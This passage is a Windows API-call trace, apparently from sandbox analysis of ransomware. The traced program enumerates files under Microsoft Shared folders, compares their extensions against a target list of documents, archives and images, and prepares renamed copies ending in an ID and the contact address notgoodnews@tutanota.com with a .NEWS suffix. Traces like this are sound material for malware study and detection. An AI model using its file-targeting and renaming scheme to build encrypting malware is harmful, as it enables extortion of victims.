returned 5 [0207.901] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0207.901] lstrlenW (lpString=".ppt") returned 4 [0207.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.902] lstrlenW (lpString=".zip") returned 4 [0207.902] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.902] lstrlenW (lpString=".rar") returned 4 [0207.902] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.902] lstrlenW (lpString=".bz2") returned 4 [0207.902] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.902] lstrlenW (lpString=".7z") returned 3 [0207.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.902] lstrlenW (lpString=".dbf") returned 4 [0207.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.903] lstrlenW (lpString=".1cd") returned 4 [0207.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.903] lstrlenW (lpString=".jpg") returned 4 [0207.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.903] lstrlenW (lpString=".doc") returned 4 [0207.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.903] lstrlenW (lpString=".docx") returned 5 [0207.903] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0207.904] lstrlenW (lpString=".pdf") returned 4 [0207.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.904] lstrlenW (lpString=".xls") returned 4 [0207.905] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.905] lstrlenW (lpString=".xlsx") returned 5 [0207.905] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0207.905] lstrlenW (lpString=".ppt") returned 4 [0207.905] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.905] lstrlenW (lpString=".zip") returned 4 [0207.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.905] lstrlenW (lpString=".rar") returned 4 [0207.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.905] lstrlenW (lpString=".bz2") returned 4 [0207.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.905] lstrlenW (lpString=".7z") returned 3 [0207.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.906] lstrlenW (lpString=".dbf") returned 4 [0207.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.906] lstrlenW (lpString=".1cd") returned 4 [0207.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0207.906] lstrlenW (lpString=".jpg") returned 4 [0207.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.907] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0207.907] lstrlenW (lpString="ipsen.xml") returned 9 [0207.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.907] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2578) returned 1 [0207.908] CloseHandle (hObject=0x288) returned 1 [0207.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0207.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.908] lstrlenW (lpString=".doc") returned 4 [0207.908] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.909] lstrlenW (lpString=".docx") returned 5 [0207.909] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.909] lstrlenW (lpString=".pdf") returned 4 [0207.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.909] lstrlenW (lpString=".xls") returned 4 [0207.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.909] lstrlenW (lpString=".xlsx") returned 5 [0207.909] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.909] lstrlenW (lpString=".ppt") returned 4 [0207.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.909] lstrlenW (lpString=".zip") returned 4 [0207.909] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.909] lstrlenW (lpString=".rar") returned 4 [0207.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.910] lstrlenW (lpString=".bz2") returned 4 [0207.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.910] lstrlenW (lpString=".7z") returned 3 [0207.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.910] lstrlenW (lpString=".dbf") returned 4 [0207.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.910] lstrlenW (lpString=".1cd") returned 4 [0207.910] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.910] lstrlenW (lpString=".jpg") returned 4 [0207.911] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.911] lstrlenW (lpString=".doc") returned 4 [0207.911] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.911] lstrlenW (lpString=".docx") returned 5 [0207.911] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.911] lstrlenW (lpString=".pdf") returned 4 [0207.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.911] lstrlenW (lpString=".xls") returned 4 [0207.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.912] lstrlenW (lpString=".xlsx") returned 5 [0207.912] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.912] lstrlenW (lpString=".ppt") returned 4 [0207.912] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.912] lstrlenW (lpString=".zip") returned 4 [0207.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.912] lstrlenW (lpString=".rar") returned 4 [0207.912] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.912] lstrlenW (lpString=".bz2") returned 4 [0207.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.912] lstrlenW (lpString=".7z") returned 3 [0207.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.913] lstrlenW (lpString=".dbf") returned 4 [0207.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.913] lstrlenW (lpString=".1cd") returned 4 [0207.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0207.913] lstrlenW (lpString=".jpg") returned 4 [0207.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.914] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0207.914] lstrlenW (lpString="ipsesp.xml") returned 10 [0207.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.915] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3024) returned 1 [0207.915] CloseHandle (hObject=0x288) returned 1 [0207.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0207.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.916] lstrlenW (lpString=".doc") returned 4 [0207.916] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.916] lstrlenW (lpString=".docx") returned 5 [0207.916] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0207.916] lstrlenW (lpString=".pdf") returned 4 [0207.916] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.916] lstrlenW (lpString=".xls") returned 4 [0207.916] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.916] lstrlenW (lpString=".xlsx") returned 5 [0207.916] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0207.916] lstrlenW (lpString=".ppt") returned 4 [0207.916] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.917] lstrlenW (lpString=".zip") returned 4 [0207.917] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.917] lstrlenW (lpString=".rar") returned 4 [0207.917] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.917] lstrlenW (lpString=".bz2") returned 4 [0207.917] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.917] lstrlenW (lpString=".7z") returned 3 [0207.917] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.917] lstrlenW (lpString=".dbf") returned 4 [0207.917] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.918] lstrlenW (lpString=".1cd") returned 4 [0207.918] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.918] lstrlenW (lpString=".jpg") returned 4 [0207.918] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.918] lstrlenW (lpString=".doc") returned 4 [0207.918] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.918] lstrlenW (lpString=".docx") returned 5 [0207.918] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0207.918] lstrlenW (lpString=".pdf") returned 4 [0207.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.919] lstrlenW (lpString=".xls") returned 4 [0207.919] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.919] lstrlenW (lpString=".xlsx") returned 5 [0207.919] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0207.919] lstrlenW (lpString=".ppt") returned 4 [0207.919] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0207.919] lstrlenW (lpString=".zip") returned 4 [0207.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.919] lstrlenW (lpString=".rar") returned 4 [0208.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.071] lstrlenW (lpString=".bz2") returned 4 [0208.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.071] lstrlenW (lpString=".7z") returned 3 [0208.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0208.071] lstrlenW (lpString=".dbf") returned 4 [0208.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0208.071] lstrlenW (lpString=".1cd") returned 4 [0208.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0208.071] lstrlenW (lpString=".jpg") returned 4 [0208.072] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.072] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0208.072] lstrlenW (lpString="ipsfin.xml") returned 10 [0208.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0211.210] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2658) returned 1 [0211.210] CloseHandle (hObject=0x308) returned 1 [0211.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0211.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0211.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.012] lstrlenW (lpString=".doc") returned 4 [0212.012] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0212.012] lstrlenW (lpString=".docx") returned 5 [0212.012] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0212.012] lstrlenW (lpString=".pdf") returned 4 [0212.012] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0212.013] lstrlenW (lpString=".xls") returned 4 [0212.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0212.013] lstrlenW (lpString=".xlsx") returned 5 [0212.013] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0212.013] lstrlenW (lpString=".ppt") returned 4 [0212.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0212.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.013] lstrlenW (lpString=".zip") returned 4 [0212.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0212.013] lstrlenW (lpString=".rar") returned 4 [0212.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0212.013] lstrlenW (lpString=".bz2") returned 4 [0212.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0212.014] lstrlenW (lpString=".7z") returned 3 [0212.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0212.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.015] lstrlenW (lpString=".dbf") returned 4 [0212.015] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0212.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.015] lstrlenW (lpString=".1cd") returned 4 [0212.015] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.016] lstrlenW (lpString=".jpg") returned 4 [0212.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.016] lstrlenW (lpString=".doc") returned 4 [0212.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0212.016] lstrlenW (lpString=".docx") returned 5 [0212.016] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0212.016] lstrlenW (lpString=".pdf") returned 4 [0212.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0212.017] lstrlenW (lpString=".xls") returned 4 [0212.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0212.017] lstrlenW (lpString=".xlsx") returned 5 [0212.017] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0212.017] lstrlenW (lpString=".ppt") returned 4 [0212.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0212.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.017] lstrlenW (lpString=".zip") returned 4 [0212.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0212.017] lstrlenW (lpString=".rar") returned 4 [0212.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0212.018] lstrlenW (lpString=".bz2") returned 4 [0212.018] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0212.018] lstrlenW (lpString=".7z") returned 3 [0212.018] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0212.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.018] lstrlenW (lpString=".dbf") returned 4 [0212.018] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0212.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.018] lstrlenW (lpString=".1cd") returned 4 [0212.018] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0212.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0212.018] lstrlenW (lpString=".jpg") returned 4 [0212.020] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0212.021] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0212.021] lstrlenW (lpString="Bears.jpg") returned 9 [0212.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0212.023] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1074) returned 1 [0212.023] CloseHandle (hObject=0x288) returned 1 [0212.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0212.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.024] lstrlenW (lpString=".doc") returned 4 [0212.024] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0212.024] lstrlenW (lpString=".docx") returned 5 [0212.025] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0212.025] lstrlenW (lpString=".pdf") returned 4 [0212.025] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0212.025] lstrlenW (lpString=".xls") returned 4 [0212.025] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0212.025] lstrlenW (lpString=".xlsx") returned 5 [0212.025] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0212.025] lstrlenW (lpString=".ppt") returned 4 [0212.025] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0212.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.026] lstrlenW (lpString=".zip") returned 4 [0212.026] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0212.026] lstrlenW (lpString=".rar") returned 4 [0212.026] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0212.028] lstrlenW (lpString=".bz2") returned 4 [0212.028] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0212.028] lstrlenW (lpString=".7z") returned 3 [0212.028] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.028] lstrlenW (lpString=".dbf") returned 4 [0212.028] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.028] lstrlenW (lpString=".1cd") returned 4 [0212.028] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.028] lstrlenW (lpString=".jpg") returned 4 [0212.028] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0212.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.030] lstrlenW (lpString=".doc") returned 4 [0212.030] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0212.030] lstrlenW (lpString=".docx") returned 5 [0212.030] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0212.030] lstrlenW (lpString=".pdf") returned 4 [0212.030] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0212.030] lstrlenW (lpString=".xls") returned 4 [0212.031] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0212.031] lstrlenW (lpString=".xlsx") returned 5 [0212.031] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0212.031] lstrlenW (lpString=".ppt") returned 4 [0212.031] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0212.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.031] lstrlenW (lpString=".zip") returned 4 [0212.031] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0212.031] lstrlenW (lpString=".rar") returned 4 [0212.031] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0212.031] lstrlenW (lpString=".bz2") returned 4 [0212.031] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0212.031] lstrlenW (lpString=".7z") returned 3 [0212.032] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0212.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.032] lstrlenW (lpString=".dbf") returned 4 [0212.032] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0212.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0212.032] lstrlenW (lpString=".1cd") returned 4 [0212.032] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0212.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 